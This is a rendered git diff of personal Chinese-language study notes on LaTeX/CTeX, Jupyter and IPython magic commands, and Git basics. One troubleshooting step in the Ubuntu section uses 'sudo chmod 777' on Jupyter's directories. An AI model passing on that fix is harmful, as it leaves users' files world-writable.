其后出现了控制序列 `begin`,这个控制序列总是与 `end`成对出现。这两个控制序列以及他们中间的内容被称为「环境」;他们之后的第一个必要参数总是一致的,被称为环境名。
|
||||||
|
|
||||||
|
只有在 “document” 环境中的内容,才会被正常输出到文档中去或是作为控制序列对文档产生影响。也就是说,在 \end{document} 之后插入任何内容都是无效的。
|
||||||
|
|
||||||
|
`\begin{document}`与 `\documentclass{article}`之间的部分被称为导言区。导言区中的控制序列,通常会影响到整个输出文档。比如,我们通常在导言区设置页面大小、页眉页脚样式、章节标题样式等等。
|
||||||
|
|
||||||
|
## 中英混排
|
||||||
|
|
||||||
|
CTeX 宏集的优势在于,它适用于多种编译方式;在内部处理好了中文和中文版式的支持,隐藏了这些细节;并且,提供了不少中文用户需要的功能接口。
|
||||||
|
|
||||||
|
请注意,CTeX 宏集和 CTeX 套装是两个不同的东西。CTeX 宏集本质是 LaTeX 宏的集合,包含若干文档类(.cls 文件)和宏包(.sty 文件)。CTeX 套装是一个 TeX 系统。
|
||||||
|
|
||||||
|
新版 CTeX 宏集的默认能够自动检测用户的操作系统,并为之配置合适的字库。对于 Windows 用户、Mac OS X 用户和 Linux 用户,都无需做任何配置,就能使用 CTeX 宏集来排版中文。[2015-05-20 更新]
|
||||||
|
|
||||||
|
```
|
||||||
|
\documentclass[UTF8]{ctexart}
|
||||||
|
\begin{document}
|
||||||
|
你好,world!
|
||||||
|
\end{document}
|
||||||
|
```
|
||||||
|
|
||||||
|
可以看到支持中文!仅仅加了UTF-8和`ctexart`,实际上Jupyter的md本身已经支持了中文,看下面一个例子。
|
||||||
|
|
||||||
|
```
|
||||||
|
\title{你好,world!}
|
||||||
|
\author{Liam}
|
||||||
|
\date{\today}
|
||||||
|
\begin{document}
|
||||||
|
\maketitle
|
||||||
|
你好,world!
|
||||||
|
\end{document}
|
||||||
|
```
|
||||||
|
|
||||||
|
\title{你好,world!} <br/> \author{Liam} <br/> \maketitle
|
|
@ -0,0 +1,315 @@
|
||||||
|
# 原创
|
||||||
|
: 01-第一次使用Jupyter
|
||||||
|
|
||||||
|
# 01-第一次使用Jupyter
|
||||||
|
|
||||||
|
# 第一次使用Jupyter
|
||||||
|
|
||||||
|
具体见个人Python图书馆:[https://ds-ebooks.github.io](https://ds-ebooks.github.io)
|
||||||
|
|
||||||
|
# Contents
|
||||||
|
|
||||||
|
## 一、更改Jupyter notebook的工作空间
|
||||||
|
|
||||||
|
[链接跳转测试](#七、Jupyter中的Markdown)
|
||||||
|
|
||||||
|
### 1.直接在工作目录打开
|
||||||
|
|
||||||
|
### 2.通过快捷方式属性修改
|
||||||
|
|
||||||
|
### 3.修改config文件
|
||||||
|
|
||||||
|
```
|
||||||
|
# The directory to use for notebooks and kernels.
|
||||||
|
c.NotebookApp.notebook_dir = u'D:\Jupyter'
|
||||||
|
```
|
||||||
|
|
||||||
|
所以,最后我选择第一种方式最直接。
|
||||||
|
|
||||||
|
## 二、常用命令
|
||||||
|
|
||||||
|
### 1.误删了jupyter notebook中的代码
|
||||||
|
|
||||||
|
```
|
||||||
|
for line in locals()['In']:
|
||||||
|
print(line)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
history
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.jupyter魔法
|
||||||
|
|
||||||
|
```
|
||||||
|
# 当前目录
|
||||||
|
%pwd
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
u'D:\\Python\\Scripts\\notebook'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
%run name.py
|
||||||
|
# 或者
|
||||||
|
%matplotlib inline
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# matplotlib画图
|
||||||
|
%matplotlib inline
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
%%writefile foo.py
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
%%script python
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
%debug
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
%autosave 3
|
||||||
|
```
|
||||||
|
|
||||||
|
## 三、Jupyter的各种快捷键
|
||||||
|
|
||||||
|
## 四、Jupyter Notebook如何导入代码
|
||||||
|
|
||||||
|
>
|
||||||
|
即导入代码到jupyter notebook的cell中
|
||||||
|
|
||||||
|
|
||||||
|
### 1.将本地的.py文件load到jupyter的一个cell中
|
||||||
|
|
||||||
|
**问题背景**:有一个test.py文件,需要将其载入到jupyter的一个cell中 <br/> test.py内容如下:
|
||||||
|
|
||||||
|
```
|
||||||
|
print "Hello World!"
|
||||||
|
```
|
||||||
|
|
||||||
|
**方法步骤:**
|
||||||
|
|
||||||
|
```
|
||||||
|
# %load test.py
|
||||||
|
print "HellO World!"
|
||||||
|
```
|
||||||
|
|
||||||
|
Shift Enter运行后,%load test.py被自动加入了注释符号#,test.py中的所有代码都被load到了当前的cell中.
|
||||||
|
|
||||||
|
### 2.从网络load代码到jupyter
|
||||||
|
|
||||||
|
`%load https://matplotlib.org/examples/color/color_cycle_demo.html`
|
||||||
|
|
||||||
|
## 五、Jupyter运行python文件
|
||||||
|
|
||||||
|
```
|
||||||
|
%run test.py
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
HellO World!
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 六、Jupyter一些其他琐碎用法
|
||||||
|
|
||||||
|
### 1.jupyter的cell可以作为unix command使用
|
||||||
|
|
||||||
|
```
|
||||||
|
# 查看python版本:
|
||||||
|
!python --version
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Python 2.7.13
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 运行python文件:
|
||||||
|
!python test.py
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
HellO World!
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.Magic functions用法
|
||||||
|
|
||||||
|
待深究:[The cell magic in Ipython](http://nbviewer.jupyter.org/github/ipython/ipython/blob/1.x/examples/notebooks/Cell%20Magics.ipynb#The-cell-magics-in-IPython)
|
||||||
|
|
||||||
|
### 3.获取current working directory
|
||||||
|
|
||||||
|
```
|
||||||
|
current_path = %pwd
|
||||||
|
print current_path
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
D:\Python\Scripts\notebook
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.使用Matplotlib绘图
|
||||||
|
|
||||||
|
```
|
||||||
|
# 有时是弹不出图像框的,此时,可以在开头加入:
|
||||||
|
%matplotlib inline
|
||||||
|
```
|
||||||
|
|
||||||
|
## 七、Jupyter中的Markdown
|
||||||
|
|
||||||
|
### 1.链接跳转
|
||||||
|
|
||||||
|
```
|
||||||
|
## 一、更改Jupyter notebook的工作空间
|
||||||
|
[链接跳转](#更改Jupyter notebook的工作空间)
|
||||||
|
...
|
||||||
|
<a id='七、Jupyter中的Markdown'></a>
|
||||||
|
## 七、Jupyter中的Markdown
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.添加目录功能
|
||||||
|
|
||||||
|
```
|
||||||
|
$ pip2 install jupyter_nbextensions_configurator
|
||||||
|
$ pip2 install jupyter_contrib_nbextensions
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.在Jupyter中打开md文件
|
||||||
|
|
||||||
|
让`jupyter notebook` 生成md这个大家都会,可是在github当中有很多很好的md文件,如果不能在`jupyter notebook`当中打开体验,实在是太让人难过了。
|
||||||
|
|
||||||
|
```
|
||||||
|
pip install notedown
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
c.NotebookApp.contents_manager_class = ‘notedown.NotedownContentsManager’
|
||||||
|
```
|
||||||
|
|
||||||
|
## 八、主题配置
|
||||||
|
|
||||||
|
```
|
||||||
|
pip install --upgrade jupyterthemes
|
||||||
|
jt -l //查看能够使用得主题
|
||||||
|
jt -t chesterish -T -N //配置主题,chesterish是主题名
|
||||||
|
jt -r //恢复默认主题
|
||||||
|
```
|
||||||
|
|
||||||
|
更详细配置参考:[jupyter-themes](https://github.com/dunovank/jupyter-themes)
|
||||||
|
|
||||||
|
## 九、Ubuntu上面存在权限问题
|
||||||
|
|
||||||
|
### 修改权限
|
||||||
|
|
||||||
|
```
|
||||||
|
//问题1:jupyter无法访问python
|
||||||
|
sudo chmod 777 ~/.local/share/jupyter/
|
||||||
|
cd ~/.local/share/jupyter/
|
||||||
|
ls
|
||||||
|
sudo chmod 777 runtime/
|
||||||
|
cd runtime/
|
||||||
|
ls
|
||||||
|
|
||||||
|
//2.jupyter无法访问笔记本
|
||||||
|
//chown命令可以修改文件或目录所属的用户
|
||||||
|
$ sudo chown 用户 目录或文件名
|
||||||
|
//chgrp命令可以修改文件或目录所属的组
|
||||||
|
$ sudo chgrp 组 目录或文件名
|
||||||
|
```
|
||||||
|
|
||||||
|
### 查看token
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter-notebook list
|
||||||
|
```
|
||||||
|
|
||||||
|
## 十、Welcome to MkDocs
|
||||||
|
|
||||||
|
For full documentation visit [mkdocs.org](http://mkdocs.org).
|
||||||
|
|
||||||
|
### Commands
|
||||||
|
|
||||||
|
### Project layout
|
||||||
|
|
||||||
|
```
|
||||||
|
mkdocs.yml # The configuration file.
|
||||||
|
docs/
|
||||||
|
index.md # The documentation homepage.
|
||||||
|
... # Other markdown pages, images and other files.
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 十一、Git基本命令
|
||||||
|
|
||||||
|
```
|
||||||
|
//建立本地仓库
|
||||||
|
|
||||||
|
//初始化本地仓库
|
||||||
|
$ git init
|
||||||
|
|
||||||
|
//添加到暂存区
|
||||||
|
$ git add .
|
||||||
|
|
||||||
|
//提交到工作区
|
||||||
|
$ git commit -m "first commit"
|
||||||
|
|
||||||
|
//添加远程Git仓库
|
||||||
|
$ git remote add origin https://github.com/ds19991999/VerCodeMFC.git
|
||||||
|
|
||||||
|
//删除远程Git仓库
|
||||||
|
$ git remote rm origin
|
||||||
|
|
||||||
|
//合并pull两个不同的项目解决fatal: refusing to merge unrelated histories
|
||||||
|
$ git pull origin master --allow-unrelated-histories
|
||||||
|
|
||||||
|
//使用强制push的方法:
|
||||||
|
$ git push -u origin master -f
|
||||||
|
```
|
||||||
|
|
||||||
|
## 补充
|
||||||
|
|
||||||
|
### 指定图表格式
|
||||||
|
|
||||||
|
`Jupyter Notebook` 用 `Matplotlib` 画出来那一坨糊糊的东西会不会跟我一样浑身难受,在画图表的时候加上最后一行就行了,指定他为`'svg'`格式:
|
||||||
|
|
||||||
|
```
|
||||||
|
import matplotlib
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
%matplotlib inline
|
||||||
|
%config InlineBackend.figure_format = 'svg'
|
||||||
|
```
|
||||||
|
|
||||||
|
### 导出md格式去掉代码
|
||||||
|
|
||||||
|
假如你的`jupyter notebook`是导出一个报告给业务人员看的,他们不想看到那些密密麻麻的代码,只想留下`markdown`和图表,在`jupyter notebook`加入下面这段代码就好:
|
||||||
|
|
||||||
|
```
|
||||||
|
import IPython.core.display as di
|
||||||
|
di.display_html('<script>jQuery(function(){if (jQuery("body.notebook_app").length == 0) { jQuery(".input_area").toggle();jQuery(".prompt").toggle();}});
|
||||||
|
</script>', raw=True)
|
||||||
|
```
|
||||||
|
|
||||||
|
### matplotlib显示中文
|
||||||
|
|
||||||
|
配置文件中加入:
|
||||||
|
|
||||||
|
Python27
|
||||||
|
|
||||||
|
```
|
||||||
|
import seaborn as sns
|
||||||
|
import sys# print sys.getdefaultencoding()# ipython notebook中默认是ascii编码
|
||||||
|
reload(sys)
|
||||||
|
sys.setdefaultencoding('utf8')
|
||||||
|
```
|
||||||
|
|
||||||
|
具体参见:[装扮你的Jupyter](https://zhuanlan.zhihu.com/p/26739300?group_id=843868091631955968)
|
|
@ -0,0 +1,352 @@
|
||||||
|
# 原创
|
||||||
|
: 02-Ipython Magic魔术
|
||||||
|
|
||||||
|
# 02-Ipython Magic魔术
|
||||||
|
|
||||||
|
# IPython Magic 魔术
|
||||||
|
|
||||||
|
具体见个人Python图书馆:[https://ds-ebooks.github.io](https://ds-ebooks.github.io)
|
||||||
|
|
||||||
|
## 简介
|
||||||
|
|
||||||
|
两种`magic`命令: <br/> * `Line magics`:`%`,只接受该行的参数 <br/> * `Cell magics`: `%%`,只能用在`cell`首行,`%%`接收的`magic`参数包括整个`cell`,并且每个单元格只能用一个`cell`
|
||||||
|
|
||||||
|
```
|
||||||
|
# 列出可用的魔法命令
|
||||||
|
%lsmagic
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Available line magics:
|
||||||
|
%alias %alias_magic %autocall %automagic %autosave %bookmark %cd %clear %cls %colors %config %connect_info %copy %ddir %debug %dhist %dirs %doctest_mode %echo %ed %edit %env %gui %hist %history %killbgscripts %ldir %less %load %load_ext %loadpy %logoff %logon %logstart %logstate %logstop %ls %lsmagic %macro %magic %matplotlib %mkdir %more %notebook %page %pastebin %pdb %pdef %pdoc %pfile %pinfo %pinfo2 %popd %pprint %precision %profile %prun %psearch %psource %pushd %pwd %pycat %pylab %qtconsole %quickref %recall %rehashx %reload_ext %ren %rep %rerun %reset %reset_selective %rmdir %run %save %sc %set_env %store %sx %system %tb %time %timeit %unalias %unload_ext %who %who_ls %whos %xdel %xmode
|
||||||
|
|
||||||
|
Available cell magics:
|
||||||
|
%%! %%HTML %%SVG %%bash %%capture %%cmd %%debug %%file %%html %%javascript %%js %%latex %%perl %%prun %%pypy %%python %%python2 %%python3 %%ruby %%script %%sh %%svg %%sx %%system %%time %%timeit %%writefile
|
||||||
|
|
||||||
|
Automagic is ON, % prefix IS NOT needed for line magics.
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 简单`Magic`
|
||||||
|
|
||||||
|
```
|
||||||
|
%matplotlib inline
|
||||||
|
import numpy as np
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# %timeit计算代码执行时间
|
||||||
|
%timeit np.linalg.eigvals(np.random.rand(100,100))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
100 loops, best of 3: 7.31 ms per loop
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 计算整个`cell` 代码运行时间
|
||||||
|
|
||||||
|
```
|
||||||
|
%%timeit a = np.random.rand(100, 100)
|
||||||
|
np.linalg.eigvals(a)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
100 loops, best of 3: 6.98 ms per loop
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### `%%capture`捕获`cell`输出`stdout/stderr`
|
||||||
|
|
||||||
|
```
|
||||||
|
%%capture capt
|
||||||
|
from __future__ import print_function
|
||||||
|
import sys
|
||||||
|
print('Hello stdout')
|
||||||
|
print('and stderr', file=sys.stderr)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
capt.stdout,capt.stderr
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
('Hello stdout\n', 'and stderr\n')
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
capt.show()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Hello stdout
|
||||||
|
|
||||||
|
|
||||||
|
and stderr
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### `%%capture result`有同样的功能
|
||||||
|
|
||||||
|
```
|
||||||
|
%%capture result
|
||||||
|
|
||||||
|
print([1,2,3])
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
result.stdout
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
'[1, 2, 3]\n'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
result.show()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[1, 2, 3]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### `%%scipy cell magic`
|
||||||
|
|
||||||
|
```
|
||||||
|
%%script python
|
||||||
|
import sys
|
||||||
|
print 'hello from Python %s' % sys.version
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
hello from Python 2.7.13 (v2.7.13:a06454b1afa1, Dec 17 2016, 20:42:59) [MSC v.1500 32 bit (Intel)]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
%%script python3
|
||||||
|
import sys
|
||||||
|
print('hello from Python: %s' % sys.version)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
hello from Python: 3.6.3 (v3.6.3:2c5fed8, Oct 3 2017, 17:26:49) [MSC v.1900 32 bit (Intel)]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`IPython`还为一些常见的解释器创建别名,例如`bash,ruby,perl`等。 <br/> 这些都等同于`%% script <name>`
|
||||||
|
|
||||||
|
```
|
||||||
|
%%bash
|
||||||
|
echo "hello from $BASH"
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
hello from /usr/bin/bash
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### `--out` `--err`捕获`cell`魔法的输出
|
||||||
|
|
||||||
|
```
|
||||||
|
%%bash
|
||||||
|
echo "hi, stdout"
|
||||||
|
echo "hello, stderr" >&2
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
hi, stdout
|
||||||
|
|
||||||
|
|
||||||
|
hello, stderr
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
%%bash --out output --err error
|
||||||
|
echo "hi, stdout"
|
||||||
|
echo "hello, stderr" >&2
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
print(error)
|
||||||
|
print(output)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
hello, stderr
|
||||||
|
|
||||||
|
hi, stdout
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
%matplotlib inline
|
||||||
|
import pylab as pl
|
||||||
|
pl.seed(1)
|
||||||
|
data = pl.randn(100)
|
||||||
|
pl.plot(data);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 配合 `%config InlineBackend.figure_format="svg"`做图片输出格式的设置
|
||||||
|
|
||||||
|
```
|
||||||
|
%config InlineBackend.figure_format="svg"
|
||||||
|
%matplotlib inline
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
pl.plot(data);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 调试代码的模式 `%xmode Plain`和原来的模式`%xmode Verbose`
|
||||||
|
|
||||||
|
```
|
||||||
|
def f1(a,b):
|
||||||
|
return a/b
|
||||||
|
def f2(x):
|
||||||
|
a = x
|
||||||
|
b = x-1
|
||||||
|
return f1(a,b)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 精简模式
|
||||||
|
%xmode Plain
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Exception reporting mode: Plain
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
f2(1)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Traceback (most recent call last):
|
||||||
|
|
||||||
|
|
||||||
|
File "<ipython-input-22-133f42941cdb>", line 1, in <module>
|
||||||
|
f2(1)
|
||||||
|
|
||||||
|
|
||||||
|
File "<ipython-input-20-05ec2e2678a0>", line 6, in f2
|
||||||
|
return f1(a,b)
|
||||||
|
|
||||||
|
|
||||||
|
File "<ipython-input-20-05ec2e2678a0>", line 2, in f1
|
||||||
|
return a/b
|
||||||
|
|
||||||
|
|
||||||
|
ZeroDivisionError: integer division or modulo by zero
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 原来的模式
|
||||||
|
%xmode Verbose
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Exception reporting mode: Verbose
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
f2(1)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
ZeroDivisionErrorTraceback (most recent call last)
|
||||||
|
|
||||||
|
<ipython-input-24-133f42941cdb> in <module>()
|
||||||
|
----> 1 f2(1)
|
||||||
|
global f2 = <function f2 at 0x0C334CB0>
|
||||||
|
|
||||||
|
|
||||||
|
<ipython-input-20-05ec2e2678a0> in f2(x=1)
|
||||||
|
4 a = x
|
||||||
|
5 b = x-1
|
||||||
|
----> 6 return f1(a,b)
|
||||||
|
global f1 = <function f1 at 0x0C334CF0>
|
||||||
|
a = 1
|
||||||
|
b = 0
|
||||||
|
|
||||||
|
|
||||||
|
<ipython-input-20-05ec2e2678a0> in f1(a=1, b=0)
|
||||||
|
1 def f1(a,b):
|
||||||
|
----> 2 return a/b
|
||||||
|
a = 1
|
||||||
|
b = 0
|
||||||
|
3 def f2(x):
|
||||||
|
4 a = x
|
||||||
|
5 b = x-1
|
||||||
|
|
||||||
|
|
||||||
|
ZeroDivisionError: integer division or modulo by zero
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### `%debug`用户调试错误
|
||||||
|
|
||||||
|
使用`%debug`会在报错时进去调试模式,在调试模式中我们可以
|
||||||
|
|
||||||
|
### `%timeit`和`%time`
|
||||||
|
|
||||||
|
```
|
||||||
|
%timeit sum(map(lambda x:x**2,range(100)))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
10000 loops, best of 3: 18.5 µs per loop
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
%time sum(map(lambda x:x**2,range(100)))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Wall time: 0 ns
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
328350
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### `%%prun/%prun`命令调用`profile`模块,对单元中的代码进行宏观上的性能剖析
|
||||||
|
|
||||||
|
```
|
||||||
|
%%prun
|
||||||
|
def fib(n):
|
||||||
|
if n<2:
|
||||||
|
return n
|
||||||
|
return fib(n-1)+fib(n-2)
|
||||||
|
fib(20)
|
||||||
|
```
|
||||||
|
|
||||||
|
像这样:
|
||||||
|
|
||||||
|
```
|
||||||
|
21893 function calls (3 primitive calls) in 0.009 seconds
|
||||||
|
|
||||||
|
Ordered by: internal time
|
||||||
|
|
||||||
|
ncalls tottime percall cumtime percall filename:lineno(function)
|
||||||
|
21891/1 0.009 0.000 0.009 0.009 <string>:2(fib)
|
||||||
|
1 0.000 0.000 0.009 0.009 <string>:2(<module>)
|
||||||
|
1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 参考资料
|
||||||
|
|
||||||
|
[Jupyter攻略](http://blog.hszofficial.site/TutorialForJupyter/)
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,40 @@
|
||||||
|
# 原创
|
||||||
|
: 02-图解Git笔记
|
||||||
|
|
||||||
|
# 02-图解Git笔记
|
||||||
|
|
||||||
|
# 图解Git笔记
|
||||||
|
|
||||||
|
>
|
||||||
|
参考:[图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
|
||||||
|
|
||||||
|
|
||||||
|
## 基本用法
|
||||||
|
|
||||||
|
## 命令详解
|
||||||
|
|
||||||
|
### Diff
|
||||||
|
|
||||||
|
```
|
||||||
|
git diff maint(分支名)
|
||||||
|
git diff b325c da985
|
||||||
|
git diff --cached
|
||||||
|
git diff
|
||||||
|
git diff HEAD
|
||||||
|
```
|
||||||
|
|
||||||
|
### Commit
|
||||||
|
|
||||||
|
或者
|
||||||
|
|
||||||
|
如果想**更改一次提交**,使用 `git commit --amend`。git会使用与当前提交相同的父节点进行一次新提交,旧的提交会被取消。
|
||||||
|
|
||||||
|
### Checkout
|
||||||
|
|
||||||
|
### Reset
|
||||||
|
|
||||||
|
### Merge
|
||||||
|
|
||||||
|
### Cherry Pick
|
||||||
|
|
||||||
|
### Rebase
|
|
@ -0,0 +1,281 @@
|
||||||
|
# 原创
|
||||||
|
: 03-廖雪峰Git教程笔记
|
||||||
|
|
||||||
|
# 03-廖雪峰Git教程笔记
|
||||||
|
|
||||||
|
# 廖雪峰Git教程笔记
|
||||||
|
|
||||||
|
## 教程导图
|
||||||
|
|
||||||
|
## 集中式和分布式
|
||||||
|
|
||||||
|
## 配置信息
|
||||||
|
|
||||||
|
```
|
||||||
|
git config --global user.name "Your Name"
|
||||||
|
git config --global user.email "email@example.com"
|
||||||
|
```
|
||||||
|
|
||||||
|
## 创建版本库
|
||||||
|
|
||||||
|
## 修改文件并提交
|
||||||
|
|
||||||
|
```
|
||||||
|
git status # 查看当前状态
|
||||||
|
git diff README.TXT # 查看被修改的文件具体修改的内容
|
||||||
|
```
|
||||||
|
|
||||||
|
## 版本回退
|
||||||
|
|
||||||
|
```
|
||||||
|
# version1 README.txt
|
||||||
|
Git is a version control system.
|
||||||
|
Git is free software.
|
||||||
|
|
||||||
|
# version2 README.txt
|
||||||
|
Git is a distributed version control system.
|
||||||
|
Git is free software.
|
||||||
|
|
||||||
|
# version3 README.txt
|
||||||
|
Git is a distributed version control system.
|
||||||
|
Git is free software distributed under the GPL.
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
git reset --hard <版本号>
|
||||||
|
```
|
||||||
|
|
||||||
|
## 工作区和暂存区
|
||||||
|
|
||||||
|
## 管理修改
|
||||||
|
|
||||||
|
## 撤销修改
|
||||||
|
|
||||||
|
## 删除文件
|
||||||
|
|
||||||
|
## 远程仓库
|
||||||
|
|
||||||
|
## 分支管理:
|
||||||
|
|
||||||
|
### 创建与合并分支:
|
||||||
|
|
||||||
|
### 删除指针,也就是删除指针而已
|
||||||
|
|
||||||
|
```
|
||||||
|
# 创建dev分支,此时远程库并没有dev分支,-b表示创建并切换
|
||||||
|
git checkout -b dev
|
||||||
|
# 相当于
|
||||||
|
git branch dev
|
||||||
|
git checkout dev
|
||||||
|
|
||||||
|
# 查看当前分支
|
||||||
|
git branch
|
||||||
|
|
||||||
|
# dev上面完成开发之后,合并到marster分支
|
||||||
|
git merge dev
|
||||||
|
# 这时master上面的内容就和dev一样,也就是直接把master指向dev的当前提交,所以合并速度非常快。
|
||||||
|
|
||||||
|
# 删除dev分支
|
||||||
|
git branch -d dev
|
||||||
|
# 安全起见,使用分支完成某个任务,合并后再删掉分支
|
||||||
|
```
|
||||||
|
|
||||||
|
### 冲突解决:
|
||||||
|
|
||||||
|
### 分支管理策略:
|
||||||
|
|
||||||
|
### Bug分支:
|
||||||
|
|
||||||
|
```
|
||||||
|
# 查看当前分支(dev),发现未提交的文件,但由于未完成,所以不想提交
|
||||||
|
git status
|
||||||
|
|
||||||
|
# 保存当前分支未提交的文件,即保存工作现场
|
||||||
|
git stash
|
||||||
|
|
||||||
|
# 假设master分支的bug需要修复
|
||||||
|
git checkout master
|
||||||
|
|
||||||
|
# 创建master的分支issue-101修复bug
|
||||||
|
git checkout -b issue-101
|
||||||
|
|
||||||
|
# 修复完bug之后,提交并合并
|
||||||
|
git add .
|
||||||
|
git commit -m "fix bug 101"
|
||||||
|
git checkout master
|
||||||
|
git merge --no-ff -m "merged bug fix 101" issue-101
|
||||||
|
|
||||||
|
# 切换至dev分支进行未完成的开发
|
||||||
|
git status # 发现工作区是干净的
|
||||||
|
git stash list # 此时应该可以看到之前保存的信息
|
||||||
|
|
||||||
|
# 方式一
|
||||||
|
git stash apply # 恢复,但是恢复后,stash内容并不删除
|
||||||
|
git stash drop #删除stash内容
|
||||||
|
|
||||||
|
# 方式二
|
||||||
|
git stash pop # 相当于上面的两步
|
||||||
|
|
||||||
|
git stash list # 此时就看不到保存的工作区现场了
|
||||||
|
|
||||||
|
# 对于多次stash
|
||||||
|
# 先查看stash
|
||||||
|
git stash list
|
||||||
|
# 再指定恢复的的现场
|
||||||
|
git stash apply stash@{0}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Feature分支:
|
||||||
|
|
||||||
|
```
|
||||||
|
# 开发代号为Vulcan的新功能
|
||||||
|
git checkout -b feature-vulcan
|
||||||
|
|
||||||
|
# 之后就是git add, git commit
|
||||||
|
|
||||||
|
# 切回dev合并
|
||||||
|
git checkout dev
|
||||||
|
git branch -d feature-vulcan
|
||||||
|
|
||||||
|
# 如果此时还未提交,但由于紧急情况需要取消该任务,该分支必须删除的时候
|
||||||
|
git branch -d feature-vulcan # 发现并不能删除分支
|
||||||
|
# 强行删除
|
||||||
|
git branch -D feature-vulcan
|
||||||
|
```
|
||||||
|
|
||||||
|
### 多人协作:
|
||||||
|
|
||||||
|
```
|
||||||
|
# 指定本地dev分支与远程origin/dev分支的链接
|
||||||
|
git branch --set-upstream-to=origin/dev dev
|
||||||
|
|
||||||
|
# 之后再pull
|
||||||
|
git pull
|
||||||
|
|
||||||
|
# 出现合并冲突--解决方法同上
|
||||||
|
# 最后push
|
||||||
|
git push origin dev
|
||||||
|
```
|
||||||
|
|
||||||
|
### Rebase:
|
||||||
|
|
||||||
|
## 标签管理
|
||||||
|
|
||||||
|
### 创建标签
|
||||||
|
|
||||||
|
```
|
||||||
|
# 切换打标签的分支
|
||||||
|
git branch
|
||||||
|
git checkout master
|
||||||
|
|
||||||
|
# 然后就可以打标签了
|
||||||
|
git tag v1.0
|
||||||
|
|
||||||
|
# 查看所有标签
|
||||||
|
git tag
|
||||||
|
|
||||||
|
# 为过去的提交打标签
|
